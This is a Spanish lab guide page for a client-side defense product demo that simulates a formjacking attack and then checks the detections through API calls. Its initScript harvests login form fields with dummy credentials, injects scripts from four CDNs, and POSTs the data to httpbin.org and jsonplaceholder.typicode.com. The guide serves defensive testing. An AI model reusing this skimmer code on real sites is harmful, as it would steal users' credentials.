Ir al contenido

Fase 2 — Ataque

La Fase 2 genera tráfico de ataque simulado contra la aplicación protegida y confirma que CSD lo detectó. La Fase 1 debe estar completa — todas las verificaciones del Paso 7 deben mostrar PASS — antes de continuar.

Una vez verificada la infraestructura (todas las verificaciones del Paso 7 de la Fase 1 muestran PASS), ejecute los scripts de simulación de ataque para generar detecciones de CSD. Los scripts están definidos en la guía de Detección de activación y en la Biblioteca de scripts de ataque.

Los asistentes de IA con herramientas de automatización de navegador ejecutan la simulación de ataque de forma programática:

  1. Navegar con initScript — primero navegue a about:blank para garantizar un contexto de documento limpio (evita initScripts obsoletos de navegaciones anteriores), luego navigate_page a http://$F5XC_DOMAINNAME/#/login con un initScript que guarde los referencias nativas de setInterval, clearInterval, fetch y console.log antes de que zone.js las modifique, sondee los campos del formulario de inicio de sesión, rellene las credenciales mediante el setter nativo de HTMLInputElement.prototype.value, y ejecute inmediatamente el Script de Detección Combinado en línea. Utilice el initScript textual que se indica a continuación.
  2. Cerrar el Banner de Bienvenidapress_key con Escape para cerrar el Banner de Bienvenida. En visitas posteriores, el banner puede no aparecer (cookies persistidas). El diálogo de consentimiento de cookies se cierra automáticamente con la tecla Escape.
  3. Esperar la finalización — espere 10 segundos para que se completen todas las devoluciones de llamada de carga/error de scripts CDN y las resoluciones de promesas fetch.
  4. Capturar evidencialist_console_messages para verificar [CSD Demo] Simulation complete y los resultados de carga de CDN; list_network_requests filtrado por tipos script y fetch para verificar los códigos de estado HTTP (200/201 para éxito, pending para solicitudes retenidas).

initScript de la Fase 2 (textual — usar exactamente como está escrito):

// Save native references before zone.js patches them
var _si = window.setInterval.bind(window);
var _ci = window.clearInterval.bind(window);
var _fetch = window.fetch.bind(window);
var _log = window.console.log.bind(window.console);
// Poll for login form fields, fill credentials, run detection script
var _poll = _si(function() {
var emailEl = document.querySelector('#email');
var passEl = document.querySelector('#password');
if (emailEl && passEl) {
_ci(_poll);
// Fill credentials via native setter (bypasses zone.js)
var nativeSet = Object.getOwnPropertyDescriptor(
window.HTMLInputElement.prototype, 'value').set;
nativeSet.call(emailEl, 'test@example.com');
emailEl.dispatchEvent(new Event('input', { bubbles: true }));
nativeSet.call(passEl, 'P@ssword123');
passEl.dispatchEvent(new Event('input', { bubbles: true }));
// Run Combined Detection Script inline using native fetch for exfil
(function() {
_log('==================================================');
_log('[CSD Demo] Combined Detection Script — Starting');
_log('==================================================');
_log('\n[Formjack] Phase 1: Form field harvesting');
var inputs = document.querySelectorAll('input');
var harvested = {};
inputs.forEach(function(input) {
var name = input.name || input.id || input.type;
harvested[name] = input.value || '(empty)';
});
_log('[Formjack] Harvested ' + Object.keys(harvested).length + ' fields:', harvested);
_log('\n[Supply Chain] Phase 2: Multi-CDN script injection');
var cdns = [
{ url: 'https://cdn.jsdelivr.net/npm/lodash@4.17.21/lodash.min.js', name: 'jsdelivr' },
{ url: 'https://esm.sh/moment@2.30.1', name: 'esm.sh' },
{ url: 'https://unpkg.com/underscore@1.13.7/underscore-min.js', name: 'unpkg' },
{ url: 'https://ga.jspm.io/npm:dayjs@1.11.13/dayjs.min.js', name: 'jspm' }
];
cdns.forEach(function(cdn) {
var script = document.createElement('script');
script.src = cdn.url;
script.onload = function() { _log('[Supply Chain] Loaded from ' + cdn.name + ': ' + cdn.url); };
script.onerror = function() { _log('[Supply Chain] Blocked/failed from ' + cdn.name + ': ' + cdn.url); };
document.head.appendChild(script);
_log('[Supply Chain] Injected script tag: ' + cdn.name);
});
_log('\n[Exfil] Phase 3: Data exfiltration');
var payload = JSON.stringify({
type: 'combined_demo', credentials: harvested,
page: window.location.href, timestamp: Date.now()
});
_fetch('https://www.httpbin.org/post', { method: 'POST', mode: 'no-cors', body: payload })
.then(function() { _log('[Exfil] Data sent to www.httpbin.org'); });
_fetch('https://jsonplaceholder.typicode.com/posts', {
method: 'POST', mode: 'no-cors',
headers: { 'Content-Type': 'application/json' }, body: payload
}).then(function() { _log('[Exfil] Data sent to jsonplaceholder.typicode.com'); });
_log('\n==================================================');
_log('[CSD Demo] Simulation complete');
_log('[CSD Demo] Fields harvested: ' + Object.keys(harvested).length);
_log('[CSD Demo] Scripts injected: 4 (4 CDN domains)');
_log('[CSD Demo] Exfil channels: 2 (fetch POST)');
_log('==================================================');
})();
}
}, 300);

Los operadores sin herramientas de automatización de navegador realizan los pasos manualmente:

  1. Navegar a la página de inicio de sesión de la aplicación protegida: http://xF5XC_DOMAINNAMEx/#/login
  2. Ingresar credenciales ficticias — escriba test@example.com en el campo Email y P@ssword123 en el campo Password (no envíe el formulario)
  3. Abrir DevTools — presione F12 y cambie a la pestaña Console
  4. Ejecutar el Script de Detección Combinado — pegue el script de Detección de activación — Ejecutar el Script de Simulación Combinado en la consola y presione Enter
  5. Verificar la salida de la consola — confirme que la salida por fases [CSD Demo] muestre: recolección de campos del formulario, inyección de scripts desde 4 dominios CDN y exfiltración de datos a 2 endpoints
SeñalComportamientoDetección
Recolección de campos del formularioLee los valores de los campos de entrada de email y contraseñaScripts que leen campos de formulario sensibles — marcados como Riesgo Alto
Inyección de scriptsInyecta 4 etiquetas <script> desde cdn.jsdelivr.net, esm.sh, unpkg.com, ga.jspm.ioHasta 4 nuevos dominios de scripts de terceros detectados (la disponibilidad del CDN varía)
Exfiltración de datosEnvía datos recolectados mediante fetch a www.httpbin.org y jsonplaceholder.typicode.comLlamadas de red a dominios externos

El asistente de IA debe reportar lo siguiente. Para la ejecución automatizada por IA, la evidencia se captura de forma programática mediante list_console_messages (la función de sondeo del initScript registra los resultados en la consola). Para la ejecución manual, el operador lee la salida de la consola del navegador.

VerificaciónEsperadoEstado
Página de inicio de sesión cargada200 OK en http://$F5XC_DOMAINNAME/#/loginPASS / FAIL
Script de consola ejecutado[CSD Demo] Simulation complete en la salida de la consolaPASS / FAIL
Campos recolectadosCantidad > 0 en la salida de la consolaPASS
Scripts inyectados1–4 dominios CDN en la salida de la consola (algunos pueden fallar con errores de recursos)PASS si aparece algún dominio CDN
Canales de exfiltración2 intentos de fetch POST en la salida de la consolaPASS

Paso 9: Verificación de Detección mediante API

Sección titulada «Paso 9: Verificación de Detección mediante API»

Consulte los endpoints de la API de CSD para confirmar que aparecieron las detecciones. Use el bucle de sondeo: consulte /detected_domains cada 60 segundos; continúe tan pronto como DET-3 pase. Si DET-3 no pasa después de 10 minutos, verifique la configuración de CSD. Si DET-3 no pasa después de 30 minutos, detenga el proceso e informe al operador. Estos endpoints están documentados en la Referencia de API y usan la misma autenticación y espacio de nombres que los pasos anteriores.

Consulte los scripts detectados en las últimas 24 horas:

Ventana de terminal
NOW=$(date +%s)
START=$(( NOW - 86400 ))
curl -s -X POST \
-H "Authorization: APIToken xF5XC_API_TOKENx" \
-H "Content-Type: application/json" \
-d "{\"startTime\": \"$START\", \"endTime\": \"$NOW\"}" \
"xF5XC_API_URLx/api/shape/csd/namespaces/xF5XC_NAMESPACEx/scripts" \
| jq '{total: (.scripts | length), scripts: [.scripts[]? | {script_name: .script_name, risk_level: .risk_level}]}'
CampoEsperadoEstado
total> 0 (scripts detectados)PASS si > 0; PENDING si es 0 pero /detected_domains muestra dominios de exfiltración
Nombres de scriptsIncluye dominios CDN (cdn.jsdelivr.net, esm.sh, unpkg.com, ga.jspm.io) en script_namePASS si aparecen los dominios CDN inyectados
Ventana de terminal
curl -s \
-H "Authorization: APIToken xF5XC_API_TOKENx" \
"xF5XC_API_URLx/api/shape/csd/namespaces/xF5XC_NAMESPACEx/detected_domains" \
| jq '{total_domains: .domain_summary.totalDomains, domains: [.domains_list[]? | {domain: .domain, category: .category}]}'
CampoEsperadoEstado
total_domains> 0PASS si > 0
Lista de dominiosIncluye dominios CDN y de exfiltraciónPASS si aparecen los dominios esperados
Ventana de terminal
NOW=$(date +%s)
START=$(( NOW - 86400 ))
curl -s \
-H "Authorization: APIToken xF5XC_API_TOKENx" \
"xF5XC_API_URLx/api/shape/csd/namespaces/xF5XC_NAMESPACEx/formFields?startTime=$START&endTime=$NOW" \
| jq '{total: .total_size, fields: [.form_fields[]? | {name: .name, sensitivity: .analysis.value, scripts: (.associated_scripts | length), locations: .locations}]}'
CampoEsperadoEstado
total> 0PASS si > 0; PENDING si es 0 pero DET-3 pasa
nameIncluye email, passwordPASS si aparecen los campos sensibles
sensitivitySensitive para los campos de email/contraseñaPASS si el ML clasificó correctamente

Después de todas las consultas de detección, presente el estado final de detección:

ID de PruebaVerificaciónEstado
DET-1Scripts detectados (endpoint /scripts)PASS si > 0; PENDING si está vacío pero DET-3 pasa
DET-2Dominios CDN detectadosPASS / FAIL
DET-3Dominios de exfiltración detectados (/detected_domains)Indicador principal — PASS si aparecen www.httpbin.org o jsonplaceholder.typicode.com
DET-4Campos de formulario detectados (endpoint /formFields)PASS si > 0; PENDING si está vacío pero DET-3 pasa

Fase 2 completa. Continúe a Fase 3 — Mitigar para aplicar reglas de mitigación y verificar que los dominios estén bloqueados.